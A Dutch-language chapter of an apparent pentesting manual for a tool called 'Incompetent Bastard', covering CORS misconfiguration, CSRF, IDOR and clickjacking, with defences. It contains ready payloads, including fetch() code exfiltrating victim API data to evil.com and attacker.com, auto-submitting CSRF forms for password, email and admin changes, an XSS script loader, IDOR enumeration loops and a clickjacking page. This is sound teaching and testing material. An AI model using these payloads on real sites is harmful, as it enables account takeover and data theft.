Client-Side Kwetsbaarheden

De browser is een ambassade.

Dat klinkt misschien overdreven, maar het is een verrassend treffende vergelijking. In de wereld van diplomatie is een ambassade soeverein grondgebied. De Franse ambassade in Den Haag is, juridisch gezien, een stukje Frankrijk. De Nederlandse politie mag er niet zomaar naar binnen lopen, ook al staat het gebouw midden in een Nederlandse stad. Er gelden andere regels. Andere wetten. Een andere autoriteit.

Je browser werkt op precies dezelfde manier. Wanneer je inlogt bij je bank, creëert de browser een soort diplomatieke enclave voor die banksite. De cookies, de sessiedata, de JavaScript-variabelen – dat is allemaal soeverein territorium van bank.nl. Een andere website, zeg evil.com, mag daar niet bij. Niet bij de cookies, niet bij de DOM, niet bij de API-responses. De browser handhaaft die grens met de vastberadenheid van een ambassadebewaker die net zijn koffie op heeft.

Maar wat als iemand de ambassadeur misleidt? Wat als iemand een brief stuurt die er officieel uitziet, met het juiste briefhoofd en de juiste toon, en de ambassadeur overtuigt om gevoelige documenten naar het verkeerde adres te sturen? De bewaker bij de deur heeft niets verkeerds gezien. De brief kwam via het juiste kanaal. Maar het resultaat is desastreus.

Dat is, in essentie, waar dit hoofdstuk over gaat. Client-side kwetsbaarheden misbruiken niet zozeer de server als wel de browser. Ze misleiden die trouwe ambassadebewaker – de Same-Origin Policy, de cookie-jar, de CORS-engine – om dingen te doen die niet de bedoeling waren. En het briljante, of het tragische, afhankelijk van je perspectief, is dat de browser elke keer braaf doet wat hem gevraagd wordt. Hij weet niet beter. Hij volgt de regels. Het zijn de regels die verkeerd zijn geconfigureerd.


11.1 De Same-Origin Policy: het fundament

Voordat we het over de kwetsbaarheden hebben, moeten we het over de verdediging hebben. Want je kunt pas begrijpen hoe iets kapotgaat als je weet hoe het hoort te werken.

De Same-Origin Policy (SOP) is het belangrijkste beveiligingsmechanisme in elke moderne browser. Het concept is simpel: JavaScript op pagina A mag alleen resources benaderen van pagina B als beide pagina’s dezelfde origin delen.

Een origin bestaat uit drie onderdelen:

  1. Protocol: https vs http
  2. Hostname: www.bank.nl vs api.bank.nl
  3. Poort: :443 vs :8443

Alle drie moeten overeenkomen. Als er ook maar een verschilt, beschouwt de browser het als een andere origin en blokkeert de toegang.

URL A URL B Zelfde origin? Reden
https://bank.nl/home https://bank.nl/api/data Ja Zelfde protocol, host, poort
https://bank.nl http://bank.nl Nee Ander protocol
https://bank.nl https://api.bank.nl Nee Ander subdomein
https://bank.nl https://bank.nl:8443 Nee Andere poort

De SOP is bedacht in 1995, in de vroege dagen van Netscape Navigator. Het was een van die zeldzame beveiligingsbeslissingen die achteraf gezien precies goed was. Zonder de SOP zou elke website die je bezoekt de cookies van elke andere website kunnen lezen. Je bankgegevens, je e-mail, je medische dossiers – alles zou voor het grijpen liggen voor elke pagina met een beetje JavaScript.

Maar de SOP is ook streng. Te streng voor het moderne web, waar een Single Page Application op app.example.com routinematig API-calls maakt naar api.example.com. Die twee zijn technisch gezien verschillende origins. En de SOP blokkeert dat.

Dus bedachten we CORS. En daarmee begonnen de problemen.


11.2 CORS: de uitzondering die de regel brak

Cross-Origin Resource Sharing (CORS) is een mechanisme waarmee servers expliciet kunnen aangeven: “Deze andere origin mag mijn resources benaderen.” Het is een uitzonderingsregel op de SOP. Een achterdeurtje, bewust ingebouwd, met de beste bedoelingen.

Het werkt via HTTP headers. Wanneer JavaScript op app.example.com een fetch() doet naar api.example.com, stuurt de browser eerst een Origin header mee:

GET /api/userinfo HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: session=abc123

De server bekijkt die Origin header en beslist: vertrouw ik deze afzender? Als het antwoord ja is, stuurt hij speciale headers terug:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"user": "admin", "email": "admin@example.com", "role": "superuser"}

De browser leest die response headers en denkt: de server zegt dat app.example.com deze data mag lezen. Dan laat ik het toe.

Klinkt redelijk, toch? Het probleem is niet het mechanisme. Het probleem is hoe mensen het configureren.

De vijf dodelijke CORS-zonden

Zonde 1: Reflected Origin

Dit is de meest voorkomende en de meest catastrofale fout. De server reflecteert blindelings elke Origin header die hij ontvangt:

# Extreem onveilige Flask configuratie
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin', '')
    response.headers['Access-Control-Allow-Origin'] = origin  # ELKE origin!
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Dit is het beveiligingsequivalent van een uitsmijter die tegen iedereen zegt: “Ja, jij staat op de lijst.” Het maakt niet uit wie je bent. Je staat op de lijst. Kom binnen. Neem je vrienden mee.

Zonde 2: Null Origin vertrouwen

Sommige developers weten dat ze niet zomaar elke origin moeten vertrouwen, dus maken ze een whitelist. Maar ze vergeten dat er een speciale origin bestaat: null. Die wordt verstuurd door:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Een aanvaller kan eenvoudig een null origin forceren via een sandboxed iframe:

<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://target.com/api/userinfo', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    // Stuur gestolen data naar aanvaller
    new Image().src = 'https://evil.com/steal?d='
        + encodeURIComponent(JSON.stringify(data));
})
</script>
"></iframe>

De sandbox attribute zonder allow-same-origin dwingt de origin naar null. Als de server null vertrouwt, leest de aanvaller de volledige API-response.

Zonde 3: Regex-bypass

Developers die een whitelist implementeren met regex, maken regelmatig fouten:

# Bedoeling: alleen *.example.com toestaan
if re.match(r'https://.*example\.com', origin):
    # Oeps: matcht ook https://evil-example.com
    # En: https://example.com.evil.com

De juiste regex zou er zo uitzien:

if re.match(r'^https://([a-z0-9-]+\.)*example\.com$', origin):
    # Nu alleen echte subdomeinen van example.com

Maar zelfs dan: als de aanvaller een XSS-kwetsbaarheid vindt op enig subdomein van example.com – zeg blog.example.com – kan hij die als springplank gebruiken om CORS-gerelateerde aanvallen uit te voeren op api.example.com.

Zonde 4: Wildcard met credentials

Volgens de specificatie is dit ongeldig:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browsers weigeren dit te accepteren. Maar sommige servers sturen het toch, en sommige proxy-configuraties “corrigeren” het door de wildcard te vervangen door de reflected origin. Het resultaat is Zonde 1, maar met extra stappen.

Zonde 5: Pre-flight verwaarlozen

Voor “complexe” requests (met custom headers, of met PUT/DELETE methods) stuurt de browser eerst een OPTIONS request – de zogenaamde pre-flight check. Sommige servers beantwoorden die pre-flight met permissieve headers maar vergeten vervolgens de daadwerkelijke request te valideren:

OPTIONS /api/admin/users HTTP/1.1
Origin: https://evil.com

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Credentials: true

CORS detectie in de praktijk

De eerste stap bij het testen van CORS-misconfiguratie is simpel: stuur een request met een willekeurige Origin header en kijk wat er terugkomt.

# Test of de server elke origin reflecteert
curl -s -H "Origin: https://evil.com" \
     -I https://target.com/api/userinfo

# Kijk specifiek naar deze headers:
# Access-Control-Allow-Origin: https://evil.com  ← KWETSBAAR
# Access-Control-Allow-Credentials: true          ← KRITIEK

Als de server je evil.com origin reflecteert en credentials toestaat, heb je een probleem. Een groot probleem.

Test ook de null-origin variant:

curl -s -H "Origin: null" \
     -I https://target.com/api/userinfo

En regex-bypasses:

# Subdomain-bypass
curl -s -H "Origin: https://evil.target.com" -I https://target.com/api/userinfo

# Suffix-bypass
curl -s -H "Origin: https://targetecom.evil.com" -I https://target.com/api/userinfo

# Prefix-bypass
curl -s -H "Origin: https://evil-target.com" -I https://target.com/api/userinfo

CORS-exploit: van misconfiguratie naar datadiefstal

Wanneer je een reflected-origin CORS-misconfiguratie hebt gevonden, is exploitatie triviaal. Je host een HTML-pagina op je eigen server die de browser van het slachtoffer instrueert om de kwetsbare API te bevragen:

<!DOCTYPE html>
<html>
<head><title>Totally Legitimate Page</title></head>
<body>
<h1>Bezig met laden...</h1>
<script>
// De browser van het slachtoffer voert dit uit
// met de cookies van target.com
fetch("https://target.com/api/userinfo", {
    method: 'GET',
    mode: 'cors',
    credentials: 'include'
})
.then(response => response.json())
.then(data => {
    // Stuur alles naar onze server
    fetch("https://attacker.com/collect", {
        method: 'POST',
        body: JSON.stringify(data),
        headers: {'Content-Type': 'application/json'}
    });
})
.catch(err => console.error('Exploit failed:', err));
</script>
</body>
</html>

Het slachtoffer bezoekt deze pagina (via phishing, een gecompromitteerde site, of een advertentie). De browser laadt de pagina, voert het JavaScript uit, stuurt een request naar target.com met de cookies van het slachtoffer, ontvangt de response (want CORS is misconfigureerd), en stuurt de data door naar de aanvaller.

Het slachtoffer ziet niets. Geen pop-ups. Geen waarschuwingen. Geen enkel teken dat er iets mis is.

IB – Het command web_cors_exploit in de Command Library bevat kant-en-klare detectie- en exploitcommando’s voor CORS-misconfiguratie. De exploit-template gebruikt fetch() met credentials: 'include' en stuurt de gestolen data via een tweede fetch() naar je IB-server. Pas het IP-adres aan naar je listener-interface.


11.3 Cross-Site Request Forgery: de onzichtbare hand

Als CORS-misconfiguratie de ambassadeur misleidt om documenten te lezen, dan is Cross-Site Request Forgery (CSRF) de truc waarbij de ambassadeur wordt misleid om documenten te ondertekenen.

Bij CSRF voert het slachtoffer onbedoeld een actie uit op een website waar hij ingelogd is, getriggerd door een pagina die de aanvaller controleert. De aanvaller hoeft de response niet te lezen – hij wil alleen dat de actie uitgevoerd wordt.

Hoe CSRF werkt

De kern van CSRF is verbluffend simpel:

  1. Het slachtoffer is ingelogd bij bank.nl (heeft een geldig sessiecookie)
  2. Het slachtoffer bezoekt een pagina van de aanvaller
  3. Die pagina bevat code die een request stuurt naar bank.nl
  4. De browser voegt automatisch het sessiecookie toe
  5. bank.nl ontvangt een geldig, geauthenticeerd request
  6. De bank voert de actie uit – het was immers een geldig request

De server kan niet zien of het request afkomstig is van de gebruiker die bewust op een knop heeft geklikt, of van een verborgen formulier op een malafide website. Beide requests zijn identiek.

Het is alsof iemand je hand pakt terwijl je slaapt en je handtekening zet onder een contract. De handtekening is echt. De intentie niet.

GET-gebaseerde CSRF

De meest triviale vorm. Als een applicatie state-changing operaties toestaat via GET-requests, is exploitatie zo simpel als een afbeeldingslink:

<!-- Slachtoffer laadt dit in zijn browser -->
<!-- De browser stuurt een GET request met cookies -->
<img src="https://bank.nl/transfer?to=evil&amount=10000" width="0" height="0">

De browser denkt dat hij een afbeelding laadt. In werkelijkheid stuurt hij een GET-request naar de bank, compleet met sessiecookie. De bank ziet een geldig request en voert de transactie uit.

Dit is waarom de HTTP-specificatie zegt dat GET-requests idempotent moeten zijn en geen side effects mogen hebben. GET is voor het ophalen van data. Niet voor het wijzigen ervan. Maar specificaties zijn als snelheidslimieten: iedereen weet dat ze bestaan, en bijna niemand houdt zich eraan.

POST-gebaseerde CSRF

De meeste applicaties gebruiken POST voor state-changing operaties. Dat maakt het iets moeilijker, maar niet veel:

<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/account/email">
    <input type="hidden" name="email" value="evil@attacker.com">
</form>
</body>
</html>

De pagina laadt, het formulier wordt automatisch gesubmit, en het e-mailadres van het slachtoffer wordt gewijzigd naar dat van de aanvaller. Vervolgens kan de aanvaller een wachtwoord-reset aanvragen en het account overnemen.

Dit is een aanval die letterlijk twee regels JavaScript kost en die complete accounts kan overnemen. Twee regels. Geen hacking tools. Geen exploit kits. Gewoon een HTML-formulier.

JSON-gebaseerde CSRF

Moderne applicaties gebruiken vaak JSON-bodies in plaats van form-encoded data. Dat biedt enige bescherming, want standaard HTML-formulieren kunnen geen Content-Type: application/json header sturen. Maar er zijn manieren omheen:

<html>
<body>
<form method="POST" action="https://target.com/api/account/update"
      enctype="text/plain">
    <input name='{"email":"evil@attacker.com","ignore":"' value='"}' type="hidden">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

Dit genereert een body die er zo uitziet:

{"email":"evil@attacker.com","ignore":"="}

Geen geldige JSON als de server strikt parst, maar veel JSON-parsers accepteren trailing data of extra velden. Het enctype="text/plain" zorgt ervoor dat de browser de data als platte tekst stuurt, zonder URL-encoding.

Als de server Content-Type niet valideert, werkt dit. En veel servers valideren dat niet.

De IB CSRF Lab

Incompetent Bastard bevat een ingebouwde CSRF-lab die je kunt gebruiken om CSRF-payloads te testen en te demonstreren. De lab is geimplementeerd in meuk/flask/csrf.py en biedt twee endpoints:

# csrf_bp blueprint registratie
csrf_bp = Blueprint('csrf_bp', __name__,
                    template_folder='html',
                    static_folder='static')

# Endpoint 1: /csrf.js — Levert een JavaScript payload
@csrf_bp.route("/csrf.js", methods=["GET", "POST"])
def csrf_js():
    # Retourneert JavaScript met no-cache headers
    # Content-Type: text/javascript

# Endpoint 2: /csrf/inject.html — Levert een CSRF-injectiepagina
@csrf_bp.route("/csrf/inject.html", methods=["GET", "POST"])
def csrf_pagina():
    # Retourneert een HTML payload

Het /csrf.js endpoint is bijzonder interessant. Het dient als een JavaScript-bestand dat je kunt injecteren via een XSS-kwetsbaarheid in het doelwit. De no-cache headers (Cache-Control: no-cache, no-store, must-revalidate) zorgen ervoor dat de browser altijd de nieuwste versie ophaalt – handig als je de payload aanpast tijdens een test.

Het /csrf/inject.html endpoint levert een volledige HTML-pagina die als CSRF proof-of-concept kan dienen.

IB – De CSRF-lab endpoints accepteren zowel GET als POST requests. Bewerk de pagina-variabelen in meuk/flask/csrf.py om je eigen payloads in te voegen. Het /csrf.js endpoint is ideaal als XSS-payload: als je een reflected XSS hebt gevonden, gebruik dan <script src="http://IB_IP:5000/csrf.js"></script> om je CSRF-payload te laden. De no-cache headers garanderen dat elke wijziging direct actief is.

CSRF-payloads voor verschillende scenario’s

Scenario 1: Wachtwoord wijzigen (form-based)

<html>
<body>
<form id="csrfForm" method="POST"
      action="https://target.com/account/password">
    <input type="hidden" name="new_password" value="Pwned2026!">
    <input type="hidden" name="confirm_password" value="Pwned2026!">
</form>
<script>
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>

Scenario 2: Admin-gebruiker aanmaken (JSON API)

<script>
fetch('https://target.com/api/admin/users', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        username: 'backdoor',
        password: 'SuperSecret123!',
        role: 'admin'
    })
});
</script>

Let op: dit werkt alleen als de server geen CORS-restrictie heeft op het endpoint, of als je de payload via XSS injecteert op dezelfde origin.

Scenario 3: Account-overname via e-mail wijziging

<html>
<body>
<iframe style="display:none" name="csrf_frame"></iframe>
<form method="POST" action="https://target.com/account/email"
      target="csrf_frame" id="csrfForm">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
    document.getElementById('csrfForm').submit();
    // Na 2 seconden: redirect naar onschuldige pagina
    setTimeout(() => window.location = 'https://google.com', 2000);
</script>
</body>
</html>

Het target="csrf_frame" zorgt ervoor dat de response in een verborgen iframe wordt geladen, zodat het slachtoffer niet merkt dat er iets gebeurt. De redirect na twee seconden maakt de aanval nog onzichtbaarder.

CSRF-bescherming: hoe het hoort

Anti-CSRF tokens

De standaardoplossing: genereer een willekeurig token per sessie (of per request), neem het op in elk formulier als hidden field, en valideer het server-side:

<form method="POST" action="/account/email">
    <input type="hidden" name="csrf_token"
           value="a8f2e1b4c9d73f0e6521ab84d396fe7c">
    <input type="text" name="email">
    <button type="submit">Wijzig e-mail</button>
</form>
# Server-side validatie
@app.route('/account/email', methods=['POST'])
def change_email():
    if request.form.get('csrf_token') != session.get('csrf_token'):
        abort(403, 'Invalid CSRF token')
    # Ga door met de operatie

Een aanvaller op evil.com kan dit token niet lezen (SOP voorkomt dat) en kan dus geen geldig formulier construeren.

SameSite cookies

De modernere oplossing. Het SameSite attribuut op cookies vertelt de browser wanneer hij cookies mag meesturen bij cross-site requests:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
Waarde Gedrag
Strict Cookie wordt nooit meegestuurd bij cross-site requests
Lax Cookie wordt meegestuurd bij top-level GET navigatie, niet bij POST/iframe/fetch
None Cookie wordt altijd meegestuurd (vereist Secure flag)

Lax is sinds 2020 de default in Chrome. Dit blokkeert de meeste CSRF-aanvallen, maar niet allemaal – GET-gebaseerde CSRF werkt nog steeds met Lax.

Double Submit Cookie

Een variant waarbij het CSRF-token zowel in een cookie als in de request-body wordt meegestuurd. De server vergelijkt beide. Omdat een aanvaller cookies kan sturen (via de browser) maar niet kan lezen of schrijven, kan hij het token niet in de request-body opnemen.

IB – Flask-WTF genereert automatisch CSRF-tokens voor formulieren. Wanneer je een applicatie test die Flask-WTF of een vergelijkbaar framework gebruikt, controleer dan of alle state-changing endpoints het token valideren. Het is verrassend gebruikelijk dat sommige endpoints het token vereisen en andere niet – vooral API-endpoints die later zijn toegevoegd.


11.4 Insecure Direct Object References: de sleutel past overal

Er is iets fundamenteel mis met hoe veel applicaties objecten adresseren. Ze gebruiken voorspelbare, sequentiele identifiers in hun URLs en API-calls, en vertrouwen erop dat de gebruiker alleen zijn eigen objecten opvraagt.

Dat is alsof een hotel kamernummers op de sleutels zet en erop vertrouwt dat gasten alleen hun eigen kamerdeur openen. Technisch gezien past de sleutel van kamer 237 alleen op kamer 237. Maar wat als alle kamers hetzelfde slot hebben, en het enige verschil het nummer is dat je opgeeft?

Insecure Direct Object Reference (IDOR) is precies dat. De applicatie gebruikt een identifier – een getal, een UUID, een bestandsnaam – om een object op te halen, maar controleert niet of de ingelogde gebruiker dat object ook mag zien.

Horizontale en verticale privilege-escalatie

IDOR kent twee smaken:

Horizontale escalatie: Gebruiker A benadert de data van Gebruiker B. Beide hebben hetzelfde privilege-niveau, maar de data is niet van hen.

# Je eigen profiel:
GET /api/user/profile?id=1337

# Het profiel van iemand anders:
GET /api/user/profile?id=1338

Verticale escalatie: Een gewone gebruiker benadert admin-functionaliteit.

# Gewone gebruiker:
GET /api/user/profile?id=1337

# Admin-account:
GET /api/user/profile?id=1

In de praktijk is IDOR vaak de snelste weg naar gevoelige data. Geen SQL injection nodig, geen XSS, geen ingewikkelde exploits. Gewoon een getal veranderen.

IDOR-patronen in het wild

Numerieke IDs in URLs

Het klassieke geval:

GET /api/invoices/4521         → Je eigen factuur
GET /api/invoices/4522         → Factuur van iemand anders
GET /api/invoices/1            → Waarschijnlijk de eerste factuur ooit

Bestandsnamen als referentie

GET /docs/?f=report_1337.pdf   → Je eigen rapport
GET /docs/?f=report_1338.pdf   → Rapport van een ander
GET /docs/?f=report_1.pdf      → Het allereerste rapport

UUIDs die niet willekeurig zijn

UUID v1 is gebaseerd op timestamp en MAC-adres. Als je een UUID v1 ziet, kun je de andere UUIDs berekenen in plaats van raden:

550e8400-e29b-11d4-a716-446655440000    ← UUID v1: timestamp zichtbaar
                                           Volgorde is voorspelbaar

UUID v4 is willekeurig en daardoor veel moeilijker te raden. Maar: zoek in HTML-broncode, JavaScript-bestanden, API-responses en error messages. UUIDs lekken vaker dan je zou denken.

HTTP-method IDOR

Soms blokkeert de applicatie alleen specifieke HTTP-methods:

# Geen toegang:
GET /api/user/1337 → 403 Forbidden

# Maar DELETE werkt wel:
DELETE /api/user/1337 → 200 OK
# Oeps, gebruiker verwijderd

Dit is het beveiligingsequivalent van een deur op slot doen maar het raam open laten staan.

Parameter pollution

Wanneer dezelfde parameter meerdere keren wordt meegestuurd, reageert elke technologie anders:

GET /api/user?id=1337&id=1338
Technologie Gedrag
PHP Gebruikt de laatste waarde: 1338
ASP.NET Combineert: 1337,1338
Node.js (Express) Array: [1337, 1338]
Python (Flask) Eerste waarde: 1337

Dit leidt tot verwarring als de autorisatiecheck een andere waarde gebruikt dan de data-ophaling.

IDOR testen met IB

# Simpele IDOR-scan: itereer over ID-waarden en vergelijk response-grootte
for i in $(seq 1 1000); do
    echo "$i: $(curl -s -b 'session=YOUR_COOKIE' \
        http://target.com/api/user?id=$i -w '%{size_download}')"
done

# Filter op unieke response-groottes om interessante resultaten te vinden
for i in $(seq 1 1000); do
    curl -s -b 'session=YOUR_COOKIE' \
        http://target.com/api/user?id=$i -o /dev/null \
        -w "$i:%{size_download}:%{http_code}\n"
done | sort -t: -k2 -n | uniq -f1

Met Burp Suite Intruder is het nog eenvoudiger: markeer het ID als payload position, stel het payload type in op Numbers (1-10000), en sorteer de resultaten op response size of status code.

IB – Het command web_idor in de Command Library bevat templates voor numerieke ID-iteratie, document-IDOR, UUID-hunting en HTTP-method switching. Combineer het met de IB Command pagina om snel curl-commando’s te genereren met het juiste cookie en target. Controleer altijd zowel horizontale als verticale IDOR: test niet alleen andere gebruikers-IDs, maar ook of je als gewone gebruiker admin-endpoints kunt bereiken.

IDOR-automatisering met Burp Intruder

Een systematische IDOR-test met Burp Suite:

1. Intercept een legitiem request naar /api/user?id=YOUR_ID
2. Stuur naar Intruder (Ctrl+I)
3. Markeer het ID als payload position: id=§1337§
4. Payload type: Numbers
   - From: 1
   - To: 10000
   - Step: 1
5. Start de aanval
6. Sorteer op:
   - Response length (ander = mogelijk data-lek)
   - Status code (200 = toegang, 403 = geblokkeerd)
   - Specifieke string (zoek op "admin", "email", etc.)

Let op: als alle responses dezelfde grootte hebben maar allemaal 200 retourneren, controleer dan de inhoud. Sommige applicaties retourneren altijd 200 maar geven een lege body of een generiek bericht als je geen toegang hebt.


11.5 Clickjacking: de onzichtbare laag

Clickjacking is de aanval waarbij je een gebruiker laat klikken op iets anders dan wat hij denkt te zien. De techniek is eenvoudig: laad de doelwebsite in een transparant iframe, positioneer het over een aantrekkelijke knop, en wacht tot het slachtoffer klikt.

<!DOCTYPE html>
<html>
<head>
<style>
    /* Verberg het target-iframe */
    #target-frame {
        position: absolute;
        top: 0;
        left: 0;
        width: 500px;
        height: 400px;
        opacity: 0.0001;  /* Bijna onzichtbaar */
        z-index: 2;        /* Boven de nep-content */
    }
    /* De lokpagina */
    #decoy {
        position: absolute;
        top: 0;
        left: 0;
        z-index: 1;
    }
    #decoy button {
        margin-top: 120px;
        margin-left: 50px;
        font-size: 24px;
        padding: 15px 30px;
        cursor: pointer;
    }
</style>
</head>
<body>
    <!-- Het doelwit, geladen in een onzichtbaar iframe -->
    <iframe id="target-frame"
            src="https://target.com/account/delete-account">
    </iframe>

    <!-- Wat het slachtoffer ziet -->
    <div id="decoy">
        <h1>Je hebt een prijs gewonnen!</h1>
        <button>Claim je prijs!</button>
    </div>
</body>
</html>

Het slachtoffer ziet een knop die zegt “Claim je prijs!” en klikt erop. In werkelijkheid klikt hij op de “Verwijder mijn account”-knop van de doelwebsite.

Het is een truc die zo oud is als het web zelf, en die nog steeds werkt op verrassend veel sites.

Clickjacking-bescherming

X-Frame-Options header

X-Frame-Options: DENY                 # Mag nooit in een iframe
X-Frame-Options: SAMEORIGIN           # Alleen dezelfde origin mag inframen
X-Frame-Options: ALLOW-FROM https://trusted.com  # Deprecated

Content-Security-Policy: frame-ancestors

De modernere variant, met meer flexibiliteit:

Content-Security-Policy: frame-ancestors 'none';              # Zelfde als DENY
Content-Security-Policy: frame-ancestors 'self';               # Zelfde als SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://partner.com;  # Specifieke origins

frame-ancestors in CSP vervangt effectief X-Frame-Options en wordt door alle moderne browsers ondersteund.

JavaScript frame-buster (legacy)

Oudere oplossing, minder betrouwbaar:

// Breek uit het iframe
if (top !== self) {
    top.location = self.location;
}

Dit kan worden omzeild door het sandbox attribuut op het iframe, dat JavaScript-navigatie blokkeert:

<iframe sandbox="allow-forms" src="https://target.com/account/delete">

Vertrouw niet op JavaScript als enige clickjacking-bescherming.


11.6 Alles samenvoegen: een client-side aanvalsketen

In de praktijk staan client-side kwetsbaarheden zelden op zichzelf. Een realistische aanvalsketen combineert meerdere technieken:

1. Ontdek reflected XSS op blog.target.com
   ↓
2. Gebruik XSS om CSRF-token te extraheren van dezelfde origin
   ↓
3. Gebruik het token om een CSRF-aanval uit te voeren:
   e-mailadres van admin wijzigen
   ↓
4. Vraag wachtwoord-reset aan op het nieuwe e-mailadres
   ↓
5. Log in als admin
   ↓
6. Gebruik IDOR op admin-panel om alle gebruikersdata te downloaden

Elke stap op zich is misschien een “medium” bevinding. Samen vormen ze een complete account-overname. Dit is waarom het belangrijk is om niet alleen individuele kwetsbaarheden te rapporteren, maar ook de keten te demonstreren.

Een ontwikkelaar die hoort “er is een CSRF op het e-mail-wijzigingsendpoint” knikt beleefd en zet het op de backlog. Een ontwikkelaar die hoort “ik heb via deze keten het admin-account overgenomen” belt meteen het crisisteam.


11.7 Verdediging: de complete client-side beveiligingschecklist

Maatregel Beschermt tegen Implementatie
CSRF tokens CSRF Token per sessie in elk muterend formulier; server-side validatie
SameSite cookies CSRF SameSite=Strict of Lax op sessiecookies
CORS policy CORS-misconfig Expliciete whitelist van origins; nooit reflected origin
X-Frame-Options Clickjacking DENY of SAMEORIGIN header
CSP frame-ancestors Clickjacking frame-ancestors 'none' of 'self'
Autorisatiechecks IDOR Server-side check: “mag deze gebruiker dit object zien?”
Content-Security-Policy XSS, data-exfil Restrictieve CSP; geen unsafe-inline
Cookie flags Sessiediefstal Secure; HttpOnly; SameSite=Lax

Laten we hier even stilstaan bij het feit dat de meeste client-side kwetsbaarheden die we in dit hoofdstuk hebben besproken, te voorkomen zijn met het instellen van een paar HTTP-headers. Een paar regels tekst. Meer niet. Geen complexe architectuur, geen dure tooling, geen team van tien security engineers. Gewoon headers.

Maar nee. We hebben liever uitgebreide “security awareness trainingen” waarbij iemand van HR een PowerPoint presenteert over het belang van “cyberhygiene”, terwijl de productie-API op datzelfde moment elke Origin header reflecteert als een papegaai die net geleerd heeft wat CORS is. De training kost vijftigduizend euro per jaar. De CORS-fix kost drie regels in nginx.conf. Raad eens welke we kiezen.


11.8 IB Quick Reference

Topic IB Command / Lab Beschrijving
CORS detectie web_cors_exploit curl-gebaseerde CORS-detectie: reflected origin, null origin, regex bypass
CORS exploit web_cors_exploit HTML/JS exploit-template met fetch() en credential stealing
CSRF payloads CSRF Lab (/csrf/inject.html) Configureerbare CSRF proof-of-concept pagina
CSRF via XSS CSRF Lab (/csrf.js) JavaScript CSRF-payload voor injectie via XSS
IDOR testing web_idor Templates voor numerieke ID-iteratie, UUID-hunting, method-switch
IDOR automation web_idor Burp Intruder configuratie en curl one-liners

Samenvatting

De browser is een goedwillende maar naieve ambassadeur. Hij volgt de regels die hij krijgt, maar hij kan niet beoordelen of die regels kloppen. CORS-misconfiguratie vertelt hem dat elke buitenlandse delegatie vertrouwd is. CSRF laat hem documenten ondertekenen namens iemand anders. IDOR opent elke deur als je het juiste kamernummer noemt. En clickjacking legt een onzichtbare laag over alles.

De verdediging is niet ingewikkeld. Het is zelfs beschamend eenvoudig. Maar “eenvoudig” en “gedaan” zijn twee heel verschillende dingen.

In het volgende hoofdstuk verleggen we onze aandacht van de browser naar de poort: authenticatie en sessiemanagement. Want als de deur open is, maakt het niet meer uit hoe goed je ramen zijn.